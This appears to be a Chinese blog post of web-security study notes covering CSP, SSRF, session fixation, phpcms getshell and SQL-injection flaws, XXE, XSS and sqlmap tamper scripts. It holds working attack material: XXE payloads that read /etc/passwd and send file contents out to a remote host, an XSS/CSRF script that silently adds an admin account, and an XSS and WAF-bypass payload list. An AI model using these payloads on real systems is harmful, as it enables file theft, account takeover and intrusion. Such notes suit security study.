zoukankan      html  css  js  c++  java
  • web安全知识点总结

    一,解释什么是CSP

    为了让web应用程序分出哪些脚本是被第三方注入的,哪些脚本是程序自身的
    CSP定义了 Content-Security-Policy HTTP头

    Content-Security-Policy:script-src 'self' https://apis.google.com
    只允许执行自身和特定url中的脚本

    content-src:限制连接的类型(例如XHR、WebSockets和EventSource)
    font-src:控制网络字体的来源。例如可以通过font-src https://themes.googleusercontent.com来使用Google的网络字体
    frame-src:列出了可以嵌入的frame的来源。例如frame-src https://youtube.com只允许嵌入YouTube的视频。。
    img-src:定义了可加载图像的来源。
    media-src:限制视频和音频的来源。
    object-src:限制Flash和其他插件的来源。
    style-src:类似于Script-src,只是作用于css文件。
    来源: http://www.jb51.net/html5/57164.html

    但是现代浏览器已经通过前缀来提供了支持:Firefox使用x-Content-Security-Policy,WebKit使用X-WebKit-CSP。未来会逐步过渡到统一的标准。

    “none”:你可能期望不匹配任何内容
    “self”:与当前来源相同,但不包含子域
    “unsafe-inline”:允许内联Javascript和CSS
    “unsafe-eval”:允许文本到JS的机制例如eval

    csp安全性检测 地址
    https://csp-evaluator.withgoogle.com/

    script-src 'strict-dynamic' 'nonce-rAnd0m123' 'unsafe-inline' http: https:;
    object-src 'none';
    base-uri 'none';
    report-uri https://csp.example.com;

    二,什么是SSRF漏洞

    SSRF 服务端请求伪造
    存在的位置 比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等

    那么产生SSRF漏洞的环节在哪里呢?目标网站接受请求后在服务器端验证请求是否合法
    1)分享:通过URL地址分享网页内容

    2)转码服务

    3)在线翻译

    4)图片加载与下载:通过URL地址加载或下载图片

    5)图片、文章收藏功能

    6)未公开的api实现以及其他调用URL的功能

    7)从URL关键字中寻找

    PHP的常用实现

    1)php file_get_contents:

    2,php fsockopen():
    3,php curl_exec():

    读取本地文件
    file:///C:/Windows/win.ini
    探测内网应用

    三,session fixation漏洞

    用户登录前后的session_id没有变化则可能存在session fixation漏洞
    攻击者X先获取到一个未经认证的session_id ,将其发给用户Y认证,用户认证后服务器没有更新session_id的值,所以X可以凭借此session直接登录用户的账号

    四,phpcms两个漏洞

    1)getshell

    exp "info[content]": ""

    info[content] 为什么是content : content =》转到处理函数editor中
    php的处理函数

    preg_match_all("/(href|src)=(["|']?)([^ "'>]+.($ext))\2/i", $string, $matches)
    

    这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),我们的 payload ()符合这一格式(这也就是为什么后面要加.jpg的原因)。

    接下来程序使用这行代码来去除 url 中的锚点:$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);,处理过后$remotefileurls的内容如下:

    http://172.17.0.1:8082/shell.txt?.php#.jpg

    http://172.17.0.1:8082/shell.txt?.php

    可以看到#.jpg被删除了,正因如此,下面的$filename = fileext($file);取的的后缀变成了php,这也就是 PoC 中为什么要加#的原因:把前面为了满足正则而构造的.jpg过滤掉,使程序获得我们真正想要的php文件后缀。

    来源: http://paper.seebug.org/273/
    如何获取文件地址
    在后续的数据库操作中因为没有content产生报错 返回插入数据库的返回路径。 在status>0的情况下
    如果在status<0的情况下(用户名邮箱不合理) 另外在phpsso配置不好的情况下 不存在status
    这时需要对文件名爆破 仅仅是时间加上三位随机数

    2)wap SQL注入漏洞

    http://paper.seebug.org/275/

    phpcms/modules/attachment/attachments.php中的swfupload_json函数:
    将src参数用safe_replace函数过滤
    问题是只过滤了一次 %*27 ==》 %27
    处理之后 程序使用json_encode和set_cookie 生成了一个加密的cookie
    获取合法的加密值 利用wap模块 只要传入一个siteid就返回一个加密cookie
    在phpcms/modules/content/down.php中
    将传入的a_k 经过sys_auth 解密 然后使用parse_str() :以&分割符解析并注册变量
    $id未初始化 将payload注入id 同时parse_str()可以进行url解码 将%27 变成单引号 带入查询

    1,获取已存在的cookie,用于后期生成payload;

    2,访问attachments模块中的swfupload_json方法生成payload,在访问的同时post提交刚才获取的cookie;

    3,将生成的payload带入content模块中的down方法,最终成功执行SQL注入。

    五,OWASP top10

    A1 注入
    A2 跨站脚本xss
    A3 失效的身份认证和会话管理
    A4 不安全的直接对象引用
    A5 安全配置错误
    A6 敏感信息泄露
    A7 功能级访问缺失
    A8 跨站请求伪造 (CSRF)
    A9 含有已知漏洞的组件
    A10 未验证的重定向和转发

    六,XXE XML外部实体注入(XML External Entity)

    https://security.tencent.com/index.php/blog/msg/69
    当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
    内部声明DTD
    <!DOCTYPE 根元素 [元素声明]>
    引用外部DTD
    <!DOCTYPE 根元素 SYSTEM "文件名">
    内部声明实体
    <!ENTITY 实体名称 "实体的值">
    引用外部实体
    <!ENTITY 实体名称 SYSTEM "URI">

    <?xml version="1.0">
    <! DOCTYPE a[
            <! ENTITY  b  SYSTEM "file:///etc/passwd">
    ]>
    <c>&b;</c>
    

    恶意引入外部实体

    <?xml version="1.0">
    <! DOCTYPE a[
            <! ENTITY  % d  SYSTEM "http://ssss/evil.dtd">
            %d;
    ]>
    <c>&b;</c>
    

    evil.dtd
    <! ENTITY b SYSTEM "file:///etc/passwd">

    payload链接
    https://gist.githubusercontent.com/mikeknoop/e7b3c526738b66950eb4/raw/1d46d432ed380abc986cf15028221318b836395b/text.xml
    攻击手法:1,如上文读取系统内文件
    2,应对不输出的情况下,使用 (这里属于带外数据的手法,与之相关的还有ftp gopher,无效文件名报错 )

     <! ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/issue">
     <! ENTITY % dtd SYSTEM " http://192.168.1.109/evil.dtd">
    

    在远程的evil.dtd中

    <! ENTITY % all
    "<!ENTITY &#x25; send SYSTEM  'http://192.168.1.122/?file;'>"
    > 
    %all;
    

    3,执行系统命令
    <!ENTITY xxe SYSTEM "expect://id">
    该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
    4,ddos攻击 xml实体爆炸
    file:///dev/random file:///dev/urandom file://c:/con/con file:///dev/zero
    5,docx xxe
    新建docx 用压缩软件打开 ,修改最外面的[Content_Types].xml 插入payload

    ]>

    上传到目标上 点击预览
    6,
    5,端口扫描

    防御:1,

    七,XSS结合CSRF添加用户

    	var http = new XMLHttpRequest();
    	var url = "http://192.168.1.190/admin/adminadd.php?admin=add";
    	http.open("post",url,true);
    	http.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    	http.send("name=kaka&passwd=kaka&remark=kaka&mid=1&adminsubmit=%CC%E1%BD%BB");
    
    	http.onreadystatechange = function(){
    		if (http.readState==4 && http.status==200){
    			alert(sucess);
    		}
    	}
    

    八,HTTP协议安全头部

    1,X-Content-Type-Options
    X-Content-Type-Options: nosniff
    让浏览器不自己通过内容判断文件类型 严格按照content-type指定 减少MIME类型混淆
    2,x-frame-options: SAMEORIGIN 防止点击劫持
    这个响应头支持三种配置:
    DENY:不允许被任何页面嵌入;
    SAMEORIGIN:不允许被本域以外的页面嵌入;
    ALLOW-FROM uri:不允许被指定的域名以外的页面嵌入(Chrome现阶段不支持);
    3,HSTS 只能用https访问
    strict-transport-security: max-age=16070400; includeSubDomains

    九,XSSpayload整理

    <script>alert(1)</script>
    '"><script>alert(1)</script>
    <img/src=@ onerror=alert(1)/>
    '"><img/src=@ onerror=alert(1)/>
    
    ' onmouseover=alert(1) x='
    " onmouseover=alert(1) x="
    ` onmouseover=alert(1) x=`
    javascript:alert(1)//
    data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
    '";alert(1)//
    </script><script>alert(1)//
    }x:expression(alert(1))
    alert(1)//
    */-->'"></iframe></script></style></title></textarea></xmp></noscript></
    noframes></plaintext><script>alert(1)</script>
    

    常见的绕过姿势
    String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41) ==> alert(1)
    hex编码

    <script>alert("xss");</script> 可以转换为:
    %3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e
    <>== img src=1 onerror=alert(/xss/)u003e
    <script> 
    var s = " u003e"; 
    alert(s); 
    </script>
    

    十,sqlamp的tamper

    apostrophemask.py 用UTF-8全角字符替换单引号字符
    apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
    appendnullbyte.py 在payload末尾添加空字符编码
    base64encode.py 对给定的payload全部字符使用Base64编码
    between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
    bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
    chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
    charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
    charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
    concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
    equaltolike.py 用“LIKE”运算符替换全部等于号“=”
    greatest.py 用“GREATEST”函数替换大于号“>”
    halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
    ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
    lowercase.py 用小写值替换每个关键字字符
    modsecurityversioned.py 用注释包围完整的查询
    modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
    multiplespaces.py 在SQL关键字周围添加多个空格
    nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于
    过滤器
    overlongutf8.py 转换给定的payload当中的所有字符
    percentage.py 在每个字符之前添加一个百分号
    randomcase.py 随机转换每个关键字字符的大小写
    randomcomments.py 向SQL关键字中插入随机注释
    securesphere.py 添加经过特殊构造的字符串
    sp_password.py 向payload末尾添加“sp_password” for automatic
    obfuscation from DBMS logs
    space2comment.py 用“/**/”替换空格符
    space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
    space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
    space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
    space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
    space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
    space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
    space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
    space2plus.py 用加号“+”替换空格符
    space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
    unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
    unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
    varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
    versionedkeywords.py 用MySQL注释包围每个非函数关键字
    versionedmorekeywords.py 用MySQL注释包围每个关键字
    xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

  • 相关阅读:
    git知识总结-3.gitignore文件说明
    git知识总结-2.git基本操作之原理说明
    git知识总结-2.git基本操作之操作汇总
    久视伤血;久卧伤气;久坐伤肉;久立伤骨;久行伤筋;久听伤神;久闻伤心;久思伤眠
    不同的「火」在舌頭上的表現也不一樣
    手指甲半月痕 血象和微量元素检查分析是否有贫血
    五脏与五声 五脏排毒法(五声功)
    SSD硬盘 全盘安全擦除
    滋补药早晚饭前半小时空腹服用效果最佳,其他未注明者饭前半小时或饭后一小时
    身体检查 生化全套 血常规 微量元素
  • 原文地址:https://www.cnblogs.com/moonnight/p/6747253.html
Copyright © 2011-2022 走看看